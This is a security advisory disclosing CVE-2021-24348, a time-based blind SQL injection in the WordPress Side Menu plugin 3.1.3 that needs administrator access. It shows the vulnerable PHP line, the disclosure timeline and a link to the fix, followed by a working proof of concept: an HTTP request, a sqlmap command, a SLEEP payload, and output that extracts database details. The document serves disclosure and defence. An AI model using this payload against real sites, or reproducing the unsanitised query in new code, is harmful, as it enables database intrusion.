

[Wp Plugin Side Menu](#)

Plugin Details

Plugin Name: [wp-plugin: side-menu](#)

Effectuated Version : 3.1.3 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Administrator

CVE Number : CVE-2021-24348

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- May 14, 2021: Issue Identified and Disclosed to WPScan
- May 24, 2021: Plugin Updated
- May 25, 2021: CVE Assigned
- May 27, 2021: Public Disclosure

Technical Details

The menu delete functionality, available to Administrator user takes in GET parameter did and inserts it into the sql statement without proper sanitisation, validation or escaping, therefore leading to time-based blind SQL Injection.

Vulnerable File: admin/partials/main.php

Vulnerable Code: main.php#L13

```
12:         $delid = $_GET["did"];
13:         $wpdb->query("delete from " . $data . " where id=" . $delid);
```

Fixed Code

<https://plugins.trac.wordpress.org/changeset/253635/side-menu>

PoC Screenshot

```
[05:51:22] [INFO] GET parameter 'did' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[05:51:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:51:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:51:26] [INFO] checking if the injection point on GET parameter 'did' is a false positive
GET parameter 'did' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: did (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: page=side-menu&info=del&did=1 AND (SELECT 1506 FROM (SELECT(SLEEP(5))))rXyz
---
[05:51:47] [INFO] the back-end DBMS is MySQL
[05:51:47] [INFO] fetching banner
[05:51:47] [INFO] retrieved:
[05:51:47] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:52:03] [INFO] adjusting time delay to 2 seconds due to good response times
8.0.23-0ubuntu0.20.04.1
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.23-0ubuntu0.20.04.1'
[05:55:47] [INFO] fetching current user
[05:55:47] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[05:57:27] [INFO] fetching current database
[05:57:27] [INFO] retrieved: wp
current database: 'wp'
```

Exploit

```
GET /wp-admin/admin.php?page=side-menu&info=del&did=1 HTTP/1.1
Host: 172.28.128.50
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
Referer: http://172.28.128.50/wp-admin/admin.php?page=side-menu&info=saved
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1619865839%7CL5fqg1F08rkhtDGRwC1BvcmbA3wIow4wDpBTHfsL18%7Cc79ef02a
Connection: close
```

SQLmap command

```
sqlmap -r side-menu.req --dbms mysql --current-user --current-db -b -p did --batch
```

SQLMap Output

```
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:  
---  
Parameter: did (GET)  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: page=side-menu&info=del&did=1 AND (SELECT 1506 FROM (SELECT(SLEEP(5))))rXyz
```